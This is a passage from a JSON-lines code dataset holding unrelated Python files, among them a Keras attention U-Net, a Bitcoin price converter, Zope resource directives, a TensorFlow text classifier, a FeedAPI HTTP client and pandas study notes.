Activation('relu')(conv)\n if dropout > 0:\n conv = SpatialDropout2D(dropout)(conv)\n\n upsampler = UpSampling2DBilinear(stride=scale_factor)(conv)\n\n return upsampler\ndef gating(x, size, dropout=0.0, batch_norm=True):\n if K.image_dim_ordering() == 'th':\n axis = 1\n else:\n axis = 3\n conv = Conv2D(size, (1, 1), padding='valid')(x)\n if batch_norm is True:\n conv = BatchNormalization(axis=axis)(conv)\n conv = Activation('relu')(conv)\n\n if dropout > 0:\n conv = SpatialDropout2D(dropout)(conv)\n return conv\n\ndef grid_attention(input_signal,gating_signal,inter_channels):\n if K.image_dim_ordering() == 'th':\n axis = 1\n else:\n axis = 3\n theta_x = Conv2D(inter_channels,\n kernel_size=(1,1), strides=(2,2), padding='valid',\n use_bias=False)(input_signal)\n theta_x_size = theta_x.shape\n phi_g = Conv2D(inter_channels,\n kernel_size=(1,1), padding='valid', use_bias=True)(gating_signal)\n\n cancat =Add()([phi_g, theta_x])\n f = Activation('relu')(cancat)\n psi = Conv2D(filters=1, kernel_size=(1,1), padding='valid', use_bias=True)(f)\n sigm_psi_f = Activation('sigmoid')(psi)\n\n input_signal_shape=input_signal.shape\n # upsample the attentions and multiply\n #print('sigm_psi_f is {0}'.format(sigm_psi_f))\n scale_factor=2\n upsampler = UpSampling2DBilinear(stride=scale_factor)(sigm_psi_f)\n #print('upsampled is {0}'.format(upsampler.shape))\n upsampler_conc = concatenate([upsampler, upsampler], axis = axis)\n for i in range(input_signal_shape[3]-2):\n upsampler_conc = concatenate([upsampler_conc, upsampler], axis=axis)\n #print('upsampler_conc is {0}'.format(upsampler_conc .shape))\n y = Multiply()([input_signal,upsampler_conc])\n #final_dimention=input_signal_shape[3]\n W_y =Conv2D (inter_channels, kernel_size=(1,1), strides=(1,1), padding='valid')(y)\n w_y = BatchNormalization(axis=axis)(W_y)\n\n return w_y, sigm_psi_f\n\ndef build(inp, nc):\n if K.image_dim_ordering() == 'th':\n inputs = inp\n axis = 1\n else:\n inputs =inp\n axis = 3\n filters = 32\n OUTPUT_MASK_CHANNELS = nc\n\n dropout_val = 0.2\n layer_name = 'first_conv_layer'\n conv_224 = double_conv_layer(inputs, filters)\n pool_112 = MaxPooling2D(pool_size=(2, 2))(conv_224)\n #print('pool_112 is {0}'.format(pool_112.shape))\n layer_name = 'second_conv_layer'\n conv_112 = double_conv_layer(pool_112, 2 * filters)\n pool_56 = MaxPooling2D(pool_size=(2, 2))(conv_112)\n #print('pool_56 is {0}'.format(pool_56.shape))\n layer_name = 'third_conv_layer'\n conv_56 = double_conv_layer(pool_56, 4 * filters)\n pool_28 = MaxPooling2D(pool_size=(2, 2))(conv_56)\n #print('pool_28 is {0}'.format(pool_28.shape))\n layer_name = 'fourth_conv_layer'\n conv_28 = double_conv_layer(pool_28, 8 * filters)\n pool_14 = MaxPooling2D(pool_size=(2, 2))(conv_28)\n #print('pool_14 is {0}'.format(pool_14.shape))\n layer_name = 'fifth_conv_layer'\n conv_14 = double_conv_layer(pool_14, 16 * filters,)\n #print('conv_14 is {0}'.format(conv_14.shape))\n pool_7 = MaxPooling2D(pool_size=(2, 2))(conv_14)\n #print('pool_7 is {0}'.format(pool_7.shape))\n layer_name = 'six_conv_layer'\n center = double_conv_layer(pool_7,32* filters)\n #print('center is {0}'.format(center.shape))\n gate_signal= gating(center,32*filters) \n #print('gate_signal is {0}'.format(gate_signal.shape))\n g_conv2, att2 = grid_attention(conv_14, gate_signal,inter_channels=16*filters)\n #print('g_conv2 is {0}'.format(g_conv2.shape))\n up_14 = concatenate([UpSampling2D(size=(2, 2))(center), g_conv2], axis=axis)\n layer_name = 'first_upconv_layer'\n up_14 = double_conv_layer(up_14, filters*16)\n #print('up_14 is {0}'.format(up_14.shape))\n g_conv3, att3 = grid_attention(conv_28, up_14,inter_channels=8*filters)\n up_28 = concatenate([UpSampling2D(size=(2, 2))(up_14), g_conv3], axis=axis)\n layer_name = 'second_upconv_layer'\n up_28 = double_conv_layer(up_28, filters*8)\n #print('up_28 is {0}'.format(up_28.shape))\n g_conv4, att4 = grid_attention(conv_56, up_28,inter_channels=4*filters)\n up_56 = concatenate([UpSampling2D(size=(2, 2))(up_28), g_conv4], axis=axis)\n layer_name = 'fourth_upconv_layer'\n up_56 = double_conv_layer(up_56, filters*4,)\n #print('up_56 is {0}'.format(up_56.shape))\n g_conv5, att5 = grid_attention(conv_112, up_56, inter_channels=2*filters)\n up_112 = concatenate([UpSampling2D(size=(2, 2))(up_56), g_conv5], axis=axis)\n layer_name = 'fifth_upconv_layer'\n up_112 = double_conv_layer(up_112, filters*2,)\n #print('up_112 is {0}'.format(up_112.shape))\n up_224 = concatenate([UpSampling2D(size=(2, 2))(up_112), conv_224], axis=axis)\n layer_name = 'sixth_upconv_layer'\n up_224 = double_conv_layer(up_224, filters)\n #print('up_224 is {0}'.format(up_224.shape))\n\n up_conv_14 = dsv(up_14, OUTPUT_MASK_CHANNELS,16)\n up_conv_28 = dsv(up_28, OUTPUT_MASK_CHANNELS,8)\n up_conv_56 = dsv(up_56, OUTPUT_MASK_CHANNELS,4)\n up_conv_112 = dsv(up_112, OUTPUT_MASK_CHANNELS,2)\n up_conv_224 = dsv(up_224, OUTPUT_MASK_CHANNELS,1, dropout_val)\n final = concatenate([up_conv_14, up_conv_28,up_conv_56,up_conv_112,up_conv_224], axis=axis)\n\n\n return final","sub_path":"models/weakly_sup/base_unet.py","file_name":"base_unet.py","file_ext":"py","file_size_in_byte":7142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"310629675","text":"# Copyright (C) 2018-2021 Intel Corporation\n# SPDX-License-Identifier: Apache-2.0\n\nimport numpy as np\n\nfrom mo.front.common.partial_infer.utils import is_fully_defined\nfrom mo.graph.graph import Node, Graph\nfrom mo.ops.op import Op\nfrom mo.utils.broadcasting import bi_directional_shape_broadcasting, bi_directional_broadcasting\n\n\nclass Select(Op):\n op = 'Select'\n\n def __init__(self, graph: Graph, attrs: dict):\n mandatory_props = {\n 'op': self.op,\n 'type': self.op,\n 'version': 'opset1',\n 'in_ports_count': 3,\n 'out_ports_count': 1,\n 'infer': self.infer,\n 'type_infer': self.type_infer,\n 'auto_broadcast': 'numpy'\n }\n super().__init__(graph, mandatory_props, attrs)\n\n def backend_attrs(self):\n return ['auto_broadcast']\n\n @staticmethod\n def infer(node: Node):\n node_name = node.soft_get('name', node.id)\n assert len([port for port in node.in_ports().values() if not port.disconnected()]) == 3, \\\n \"Select operation must have 3 inputs: 'condition', 'then' and 'else' tensors for node {}\".format(node_name)\n\n condition_value = node.in_port(0).data.get_value()\n resulting_tensors = [node.in_port(1).data.get_value(), node.in_port(2).data.get_value()]\n\n a_shape = node.in_port(1).data.get_shape()\n b_shape = node.in_port(2).data.get_shape()\n output_shape = bi_directional_shape_broadcasting(a_shape, b_shape)\n assert output_shape is not None, 'Input shapes for node {} are not broadcast-able'.format(node_name)\n node.out_port(0).data.set_shape(output_shape)\n\n if condition_value is not None:\n if resulting_tensors[0] is not None:\n resulting_tensors[0] = bi_directional_broadcasting(resulting_tensors[0], b_shape)\n if resulting_tensors[1] is not None:\n resulting_tensors[1] = bi_directional_broadcasting(resulting_tensors[1], a_shape)\n condition_value = bi_directional_broadcasting(condition_value, output_shape)\n\n output_value = np.ma.where(condition_value, resulting_tensors[0], resulting_tensors[1])\n if condition_value.size != 1:\n if np.any(output_value == None):\n # If any element of output value is None that means that we use the value from the 'then' or the\n # 'else' tensor which is not defined, this means that we cannot perform value propagation.\n output_value = None\n else:\n output_value = output_value.astype(resulting_tensors[not np.bool(condition_value.item(0))].dtype)\n\n if output_value is not None:\n node.out_port(0).data.set_value(output_value)\n\n @staticmethod\n def type_infer(node: Node):\n assert node.in_port(1).get_source().get_data_type() == node.in_port(2).get_source().get_data_type(), \\\n 'The data type of the second and the third inputs must be equal for the node {}'.format(node.name)\n node.out_port(0).set_data_type(node.in_port(1).get_source().get_data_type())\n","sub_path":"model-optimizer/extensions/ops/select.py","file_name":"select.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"98415771","text":"import requests\nfrom pprint import pprint\n\ncoindesk_url = 'https://api.coindesk.com/v1/bpi/currentprice.json'\n\n\ndef main():\n num_of_bitcoin = get_number_of_bitcoin()\n data = request_exchange_rate()\n dollars_exchange_rate = get_exchange_rate(data)\n bitcoin_value_in_dollars = calculate_bitcoin_to_dollar(dollars_exchange_rate, num_of_bitcoin)\n display_result(num_of_bitcoin, bitcoin_value_in_dollars)\n\ndef get_number_of_bitcoin():\n while True:\n try:\n num_of_bitcoin = float(input('Enter the number bitcoins you want to convert: '))\n if num_of_bitcoin<=0:\n raise ValueError('Number of bitcoin must be >0')\n return num_of_bitcoin\n except:\n print('Enter a number greater than 0')\n\n\ndef request_exchange_rate():\n try:\n response = requests.get(coindesk_url)\n response.raise_for_status() #raises an exception for 400 or 500 status code\n data = response.json() #convert response to json (like python dictionary)\n return data\n except Exception as e:\n print(e)\n print('There was an error making the request')\n\ndef get_exchange_rate(data): #extra info from data returned from request\n dollars_exchange_rate = data['bpi']['USD']['rate_float']\n return dollars_exchange_rate\n \n\ndef calculate_bitcoin_to_dollar(dollars_exchange_rate, num_of_bitcoin):\n bitcoin_value_in_dollars= dollars_exchange_rate * num_of_bitcoin\n return bitcoin_value_in_dollars\n\ndef display_result( num_of_bitcoin,bitcoin_value_in_dollars):\n print(f'$ {bitcoin_value_in_dollars:.2f} is the equivalent of {num_of_bitcoin} bitcoins')\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n #APIpowered by Coindesk","sub_path":"bitcoin.py","file_name":"bitcoin.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"373092883","text":"# method_1\nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n n = len(nums)\n L = [1]*n\n R = [1]*n\n ans = [0]*n\n # 计算前缀后缀乘积\n for i in range(1,n):\n L[i] = L[i-1]*nums[i-1]\n\n for i in range(n-2,-1,-1):\n R[i] = R[i+1]*nums[i+1]\n \n for i in range(n):\n ans[i] = L[i]*R[i]\n\n return ans\n\n# method_2\nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n n = len(nums)\n ans = [1]*n\n left = 1\n right = 1\n \n for i in range(n):\n ans[i] *= right\n ans[-1-i] *= left\n right *= nums[i]\n left *= nums[-1-i]\n\n return ans","sub_path":"Qustion Code/238. 除自身以外数组的乘积.py","file_name":"238. 除自身以外数组的乘积.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"388226047","text":"##############################################################################\n#\n# Copyright (c) 2001, 2002 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"ZCML directive handlers for browser resources\n\"\"\"\nimport os\n\nfrom zope.component import queryUtility\nfrom zope.component.interface import provideInterface\nfrom zope.component.zcml import handler\nfrom zope.configuration.exceptions import ConfigurationError\nfrom zope.interface import Interface\nfrom zope.interface import implementer\nfrom zope.interface import provider\nfrom zope.publisher.interfaces.browser import IBrowserRequest\nfrom zope.publisher.interfaces.browser import IDefaultBrowserLayer\nfrom zope.security.checker import Checker\nfrom zope.security.checker import CheckerPublic\nfrom zope.security.checker import NamesChecker\nfrom zope.security.proxy import Proxy\n\nfrom zope.browserresource.directory import DirectoryResourceFactory\nfrom zope.browserresource.file import File\nfrom zope.browserresource.file import FileResourceFactory\nfrom zope.browserresource.i18nfile import I18nFileResourceFactory\nfrom zope.browserresource.icon import IconViewFactory\nfrom zope.browserresource.interfaces import IResourceFactory\nfrom zope.browserresource.interfaces import IResourceFactoryFactory\n\n\nallowed_names = ('GET', 'HEAD', 'publishTraverse', 'browserDefault',\n 'request', '__call__')\n\n\n@implementer(IResourceFactory)\n@provider(IResourceFactoryFactory)\nclass ResourceFactoryWrapper:\n\n def __init__(self, factory, checker, name):\n self.__factory = factory\n self.__checker = checker\n self.__name = name\n\n def __call__(self, request):\n resource = self.__factory(request)\n resource.__Security_checker__ = self.__checker\n resource.__name__ = self.__name\n return resource\n\n\ndef resource(_context, name, layer=IDefaultBrowserLayer,\n permission='zope.Public', factory=None,\n file=None, image=None, template=None):\n\n if permission == 'zope.Public':\n permission = CheckerPublic\n\n checker = NamesChecker(allowed_names, permission)\n\n too_many = bool(factory) + bool(file) + bool(image) + bool(template)\n if too_many > 1:\n raise ConfigurationError(\n \"Must use exactly one of factory or file or image or template\"\n \" attributes for resource directives\"\n )\n\n if image or template:\n import warnings\n warnings.warn_explicit(\n 'The \"template\" and \"image\" attributes of resource '\n 'directive are deprecated in favor of pluggable '\n 'file resource factories based on file extensions. '\n 'Use the \"file\" attribute instead.',\n DeprecationWarning,\n _context.info.file, _context.info.line)\n if image:\n file = image\n elif template:\n file = template\n\n _context.action(\n discriminator=('resource', name, IBrowserRequest, layer),\n callable=resourceHandler,\n args=(name, layer, checker, factory, file, _context.info),\n )\n\n\ndef resourceHandler(name, layer, checker, factory, file, context_info):\n if factory is not None:\n factory = ResourceFactoryWrapper(factory, checker, name)\n else:\n ext = os.path.splitext(os.path.normcase(file))[1][1:]\n factory_factory = queryUtility(IResourceFactoryFactory, ext,\n FileResourceFactory)\n factory = factory_factory(file, checker, name)\n handler('registerAdapter', factory, (layer,),\n Interface, name, context_info)\n\n\ndef resourceDirectory(_context, name, directory, layer=IDefaultBrowserLayer,\n permission='zope.Public'):\n if permission == 'zope.Public':\n permission = CheckerPublic\n\n checker = NamesChecker(allowed_names + ('__getitem__', 'get'),\n permission)\n\n if not os.path.isdir(directory):\n raise ConfigurationError(\n \"Directory %s does not exist\" % directory\n )\n\n factory = DirectoryResourceFactory(directory, checker, name)\n _context.action(\n discriminator=('resource', name, IBrowserRequest, layer),\n callable=handler,\n args=('registerAdapter',\n factory, (layer,), Interface, name, _context.info),\n )\n\n\ndef icon(_context, name, for_, file=None, resource=None,\n layer=IDefaultBrowserLayer, title=None,\n width=16, height=16):\n\n iname = for_.getName()\n\n if title is None:\n title = iname\n if title.startswith('I'):\n title = title[1:] # Remove leading 'I'\n\n if file is not None and resource is not None:\n raise ConfigurationError(\n \"Can't use more than one of file, and resource \"\n \"attributes for icon directives\"\n )\n elif file is not None:\n resource = '-'.join(for_.__module__.split('.'))\n resource = \"{}-{}-{}\".format(resource, iname, name)\n ext = os.path.splitext(file)[1]\n if ext:\n resource += ext\n\n # give this module another name, so we can use the \"resource\" directive\n # in it that won't conflict with our local variable with the same name.\n from zope.browserresource import metaconfigure\n metaconfigure.resource(_context, file=file, name=resource, layer=layer)\n elif resource is None:\n raise ConfigurationError(\n \"At least one of the file, and resource \"\n \"attributes for resource directives must be specified\"\n )\n\n vfactory = IconViewFactory(resource, title, width, height)\n\n _context.action(\n discriminator=('view', name, vfactory, layer),\n callable=handler,\n args=('registerAdapter',\n vfactory, (for_, layer), Interface, name, _context.info)\n )\n\n _context.action(\n discriminator=None,\n callable=provideInterface,\n args=(for_.__module__ + '.' + for_.getName(),\n for_)\n )\n\n\nclass I18nResource:\n\n type = IBrowserRequest\n default_allowed_attributes = '__call__'\n\n def __init__(self, _context, name=None, defaultLanguage='en',\n layer=IDefaultBrowserLayer, permission=None):\n self._context = _context\n self.name = name\n self.defaultLanguage = defaultLanguage\n self.layer = layer\n self.permission = permission\n self.__data = {}\n\n def translation(self, _context, language, file=None, image=None):\n\n if file is not None and image is not None:\n raise ConfigurationError(\n \"Can't use more than one of file, and image \"\n \"attributes for resource directives\"\n )\n elif file is None and image is None:\n raise ConfigurationError(\n \"At least one of the file, and image \"\n \"attributes for resource directives must be specified\"\n )\n\n if image is not None:\n import warnings\n warnings.warn_explicit(\n 'The \"image\" attribute of i18n-resource directive is '\n 'deprecated in favor of simple files. Use the \"file\" '\n 'attribute instead.',\n DeprecationWarning,\n _context.info.file, _context.info.line)\n file = image\n\n self.__data[language] = File(_context.path(file), self.name)\n\n def __call__(self, require=None):\n if self.name is None:\n return\n\n if self.defaultLanguage not in self.__data:\n raise ConfigurationError(\n \"A translation for the default language (%s) \"\n \"must be specified\" % self.defaultLanguage\n )\n\n permission = self.permission\n factory = I18nFileResourceFactory(self.__data, self.defaultLanguage)\n\n if permission:\n if require is None:\n require = {}\n\n if permission == 'zope.Public':\n permission = CheckerPublic\n\n if require:\n checker = Checker(require)\n\n factory = self._proxyFactory(factory, checker)\n\n self._context.action(\n discriminator=('i18n-resource', self.name, self.type, self.layer),\n callable=handler,\n args=('registerAdapter',\n factory, (self.layer,), Interface, self.name,\n self._context.info)\n )\n\n def _proxyFactory(self, factory, checker):\n def proxyView(request,\n factory=factory, checker=checker):\n resource = factory(request)\n\n # We need this in case the resource gets unwrapped and\n # needs to be rewrapped\n resource.__Security_checker__ = checker\n\n return Proxy(resource, checker)\n\n return proxyView\n","sub_path":"src/zope/browserresource/metaconfigure.py","file_name":"metaconfigure.py","file_ext":"py","file_size_in_byte":9241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"74748546","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2021/03/19 10:03 下午\r\n# @Author : lishouxian\r\n# @Email : gzlishouxian@gmail.com\r\n# @File : word2vec_textrnn.py\r\n# @Software: PyCharm\r\nfrom abc import ABC\r\nimport tensorflow as tf\r\nfrom config import classifier_config\r\n\r\n\r\nclass TextRNN(tf.keras.Model, ABC):\r\n \"\"\"\r\n TextRNN模型\r\n \"\"\"\r\n\r\n def __init__(self, num_classes, embedding_dim, vocab_size, embeddings_matrix=None):\r\n super(TextRNN, self).__init__()\r\n hidden_dim = classifier_config['hidden_dim']\r\n if classifier_config['embedding_method'] is '':\r\n self.embedding = tf.keras.layers.Embedding(vocab_size + 1, embedding_dim, mask_zero=True)\r\n else:\r\n self.embedding = tf.keras.layers.Embedding(vocab_size + 1, embedding_dim, weights=[embeddings_matrix],\r\n trainable=False)\r\n self.bilstm = tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(hidden_dim, return_sequences=True))\r\n self.dropout = tf.keras.layers.Dropout(classifier_config['dropout_rate'], name='dropout')\r\n if classifier_config['use_attention']:\r\n self.attention_w = tf.Variable(tf.zeros([1, 2 * hidden_dim]))\r\n self.dense = tf.keras.layers.Dense(num_classes,\r\n activation='softmax',\r\n kernel_regularizer=tf.keras.regularizers.l2(0.1),\r\n bias_regularizer=tf.keras.regularizers.l2(0.1),\r\n name='dense')\r\n\r\n @tf.function\r\n def call(self, inputs, training=None):\r\n inputs = self.embedding(inputs)\r\n bilstm_outputs = self.bilstm(inputs)\r\n if classifier_config['use_attention']:\r\n output = tf.nn.tanh(bilstm_outputs)\r\n output = tf.matmul(output, self.attention_w, transpose_b=True)\r\n alpha = tf.nn.softmax(output, axis=1)\r\n outputs = alpha * bilstm_outputs\r\n bilstm_outputs = tf.nn.tanh(outputs)\r\n dropout_outputs = self.dropout(bilstm_outputs, training)\r\n outputs = tf.reduce_sum(dropout_outputs, axis=1)\r\n outputs = self.dense(outputs)\r\n return outputs\r\n","sub_path":"engines/models/TextRNN.py","file_name":"TextRNN.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"204853241","text":"import requests\nimport threading\nimport time\nfrom collections import deque\nfrom Queue import Empty\nfrom solariat_bottle.daemons.exc import ApplicationError, FeedAPIError, \\\n InfrastructureError, UnauthorizedRequestError\nfrom solariat_bottle.settings import LOGGER, get_var\n\n\nclass RequestsClient(object):\n \"\"\"FeedAPI http client\"\"\"\n\n authtoken = None\n authtoken_expired = set()\n lock = threading.Lock()\n\n def __init__(self, options=None, sleep_timeout=30, user_agent='FeedApi'):\n self.headers = {}\n self.new_session()\n self.sleep_timeout = sleep_timeout\n self.user_agent = user_agent\n self.options = options\n self.headers = {'Content-Type': 'application/json',\n 'User-Agent': self.user_agent}\n\n def get_authtoken(self, expired=None):\n with self.lock:\n if expired is None:\n self.__class__.authtoken_expired = set()\n if self.__class__.authtoken:\n return self.__class__.authtoken\n return self.__gen_authtoken()\n\n if expired not in self.__class__.authtoken_expired:\n self.__class__.authtoken_expired.add(expired)\n return self.__gen_authtoken()\n return self.__class__.authtoken\n\n def __gen_authtoken(self):\n post_data = {\n 'username': self.options.username,\n 'password': self.options.password,\n }\n #url = '/api/v1.2/authtokens'\n url = '/api/%s/authenticate' % get_var('API_VERSION')\n\n while True:\n try:\n url_str = '%s%s' % (self.options.url, url)\n LOGGER.debug('Trying to authenticate using url: %s %s', url_str, self.options)\n response = self.post(\n url_str,\n json=post_data,\n headers={'Content-Type': 'application/json',\n 'User-Agent': self.user_agent})\n LOGGER.debug('Got auth token: %s' % response)\n except FeedAPIError as err:\n LOGGER.warning(err, exc_info=True)\n time.sleep(self.sleep_timeout)\n else:\n if not ('token' in response or 'item' in response):\n LOGGER.error(\"Bad auth response %s\", response)\n time.sleep(self.sleep_timeout)\n continue\n\n if 'item' in response:\n response = response['item']\n\n try:\n authtoken = response['token'].encode('utf-8')\n except KeyError:\n LOGGER.exception(response)\n time.sleep(self.sleep_timeout)\n else:\n self.__class__.authtoken = authtoken\n return authtoken\n\n def new_session(self):\n self.session = requests.Session()\n self.session.headers = self.headers\n\n def post(self, url, data=None, json=None, **kwargs):\n from requests.compat import json as json_lib\n\n try:\n response = self.session.request(\n 'POST', url, data=data, json=json,\n stream=False, # return connection to pool not waiting for response\n **kwargs)\n except requests.ConnectionError as e:\n self.new_session()\n raise InfrastructureError(unicode(e))\n\n if response.status_code == 401:\n raise UnauthorizedRequestError(response.text)\n\n if response.status_code != 200:\n raise InfrastructureError(u\"HTTP status: {} Response: {}\".format(\n response.status_code, response.text))\n\n try:\n data = response.json()\n except (TypeError, json_lib.JSONDecodeError):\n raise ApplicationError(u\"Bad response: {}\".format(response.text))\n else:\n if not data.get('ok'):\n raise ApplicationError(data.get('error', 'Unknown Error'))\n return data\n\n def api_posts(self, post_data=None, number_of_retries=None):\n api_url = '/api/%s/posts' % get_var('API_VERSION')\n\n payload = {\"serialized_to_json\": True,\n \"return_response\": False,\n \"post_object_data\": post_data,\n \"channel\": 'no',\n \"content\": 'no'}\n url = '%s%s' % (self.options.url, api_url)\n return self.post_authenticated(url, json=payload, number_of_retries=number_of_retries)\n\n def apply_token(self, url, post_data, authtoken):\n if not ('token' in url or (post_data and 'token' in post_data)):\n return '%s?token=%s' % (url, authtoken)\n return url\n\n def post_authenticated(self, url, json=None, number_of_retries=None):\n assert self.options and self.options.username and self.options.password\n\n authtoken = None\n expired = None\n\n while True:\n if not authtoken:\n authtoken = self.get_authtoken(expired)\n expired = None\n auth_url = self.apply_token(url, json, authtoken)\n try:\n return self.post(auth_url, json=json)\n except ApplicationError as err:\n if str(err) == 'Auth token %s is expired' % authtoken:\n LOGGER.info(err)\n expired = authtoken\n authtoken = None\n else:\n LOGGER.exception(err)\n break\n except UnauthorizedRequestError as err:\n LOGGER.warning(err, exc_info=True)\n expired = authtoken\n authtoken = None\n except InfrastructureError as err:\n LOGGER.exception(err)\n if number_of_retries is None:\n time.sleep(self.sleep_timeout)\n elif isinstance(number_of_retries, int) and number_of_retries > 0:\n number_of_retries -= 1\n else:\n break\n\n\nclass FeedApiThread(threading.Thread):\n \"\"\"FeedApi implementation with injectable http client,\n compatible with daemons.feedapi_old.FeedAPI\n \"\"\"\n _client = None\n\n @property\n def client(self):\n if self._client is None:\n _client = RequestsClient(self.options, self.sleep_timeout, self.user_agent)\n self._client = _client\n return self._client\n\n _counter = 0\n QUIT = object()\n\n def __init__(self, args=(), kwargs=None):\n\n self.__class__._counter += 1\n threading.Thread.__init__(self, name='FeedAPI-%d' % self._counter)\n if kwargs is None:\n kwargs = {}\n self.task_queue = args[0]\n self.options = args[1]\n self.user_agent = kwargs.get('User-Agent', self.name)\n self.sleep_timeout = 30\n self._busy = False\n self._elapsed_times = deque([], 25)\n self._stopped = threading.Event()\n\n def stop(self):\n self._stopped.set()\n\n def stopped(self):\n return self._stopped.isSet()\n\n def run(self):\n post_data = None\n start_time = time.time()\n wait_timeout = 0.1 if get_var('ON_TEST') else 30\n\n while not self.stopped():\n try:\n post_data = self.task_queue.get(block=True, timeout=wait_timeout)\n except Empty:\n self.stop()\n self._busy = False\n break\n start_time = time.time()\n if post_data is self.QUIT or post_data is None or post_data == 'QUIT':\n LOGGER.debug('received QUIT signal')\n self.task_queue.task_done()\n break\n\n self._busy = True\n self.client.api_posts(post_data)\n self.task_queue.task_done()\n self._elapsed_times.append(time.time() - start_time)\n self._busy = False\n\n @property\n def average_processing_time(self):\n size = len(self._elapsed_times)\n if size > 0:\n return sum(self._elapsed_times) / (size * 1.0)\n else:\n return -1\n\n def is_busy(self):\n return self._busy\n","sub_path":"daemons/feedapi.py","file_name":"feedapi.py","file_ext":"py","file_size_in_byte":8122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"185059222","text":"#!/usr/bin/env python\n# -*-coding:utf-8-*-\n\nimport urllib\nimport urllib.request\n\nlocal_path = r'/home/arthur/Desktop/wps/temp/'\nfile_name = r'aa/bb.jpg'\n\nr_file_path = local_path + file_name\nr_file_path = r_file_path.encode(\"utf-8\")\npic_url = \"http://www.jsxiaoguo.com/Content/Style/Default/Images/rd-a-hh-DefaultImg.jpg\"\n\nprint(r_file_path)\n\nurllib.request.urlretrieve(pic_url,r_file_path)\n","sub_path":"temp/t2.py","file_name":"t2.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"296793324","text":"import pandas as pd \n\npd.set_option('max_rows',5)\n\na = pd.DataFrame({'Yes':[50,21],'No':[131,2]})\nb = pd.DataFrame({'Bob':['I liked it.','It was awful.'],\n\t\t\t\t\t'Sue':['Pretty good','Bland.']},\n\t\t\t\t\tindex=['Product A','Product B'])\nc = pd.Series([1,2,3,4,5,])\nd = pd.Series([30,35,40],index=['2015 Sales','2016 Sales','2017 Sales'],name='Sales')\ne = pd.read_csv('mel_data.csv')\n#e.select_dtypes(include='int?',exclude='object') #剔除非数字列\ne1 = ['Rooms', 'Price', 'Distance', 'Postcode', 'Bedroom2', 'Bathroom', 'Car',\n 'Landsize', 'BuildingArea', 'YearBuilt', 'Lattitude', 'Longtitude',\n 'Propertycount']\nprint(e.groupby('Price').Price.count())\n\n\n\n\n\n\n\n\n\n\n#import sqlites\n#conn = sqlites.connect(\"file path .sqlite\")\n#fires = pd.read_sql_query(\"SELECT * FROM fires\",conn)\n\n#conn = sqlites3.connect('fires.sqlite')\n#fires.head(10).to_sql('fires',conn)\n\n\n\n\n'''\npd.DataFrame()\npd.Series()\ndata =pd.read_csv(,index_col=) 默认是数字,可选择是第几列\ndata.to_csv(\"data.csv\")\npd.read_excel(,sheet_name=) 导入EXCEL要加表名。 \ndata.to_excel('data.xlsx',sheet_name='Total Woman') 导出也需要表名\ndata.shape()\ndata.head()\ndata.columns()\ndata.loc[[],[]] 行列用字符表示\ndata.iloc[[],[]] 行列用数字表示 eg:.iloc[0:100,[0,5,9]]\n\t\t\t\t\t\t\t\t\tiloc[[0,3,4],[3,4,5]]\n\t\t\t\t\t\t\t\t\tiloc[3,4] 直接选定第几行\n\ndata.loc[(data.att == some)&(data.att1 >= some)] 选出条件匹配的两项\n & : 与 | : 或 ! : 非\n data.loc[data.col.isin(['att1','att2'])] 选出某col的att1,att2属性的数据\n data.loc[data.col.isnull()] isnull() notnull()\n 选出某col的is null (NaN)的数据 (或 not null)\n data['col1'] = 'some' 新建一个Series,都是some\n data.col.describe() 一个简单的描述,根据dtype的不同会有变化\n data.col.mean() 求平均数\n data.col.unique() 唯一值\n data.col.value_counts() 每个值出现的次数统计\n .map() .apply() 没太懂,31醒了看\n\n data.group('str1').str1.count() groupby() 将数据分组\n eg : data.group('str1').str2.min()\n agg \n'''","sub_path":"machine_learn/P_pandes.py","file_name":"P_pandes.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"615360001","text":"#\n# * A predicate is a Boolean combination of terms.\n# * @author Edward Sciore\n# *\n#\nfrom simpledb.record.Schema import Schema\n\n\nclass Predicate(object):\n\n #\n # * Create an empty predicate, corresponding to \"true\".\n #\n def __init__(self, *args):\n self.terms = []\n #\n # * Create a predicate containing a single term.\n # * @param t the term\n #\n if len(args) == 1:\n t = args[0]\n self.terms.append(t)\n\n #\n # * Modifies the predicate to be the conjunction of\n # * itself and the specified predicate.\n # * @param pred the other predicate\n #\n def conjoinWith(self, pred):\n for t in pred.terms:\n self.terms.append(t)\n\n #\n # * Returns true if the predicate evaluates to true\n # * with respect to the specified scan.\n # * @param s the scan\n # * @return true if the predicate is true in the scan\n #\n def isSatisfied(self, s):\n\n for t in self.terms:\n if not t.isSatisfied(s):\n return False\n return True\n\n #\n # * Calculate the extent to which selecting on the predicate\n # * reduces the number of records output by a query.\n # * For example if the reduction factor is 2, then the\n # * predicate cuts 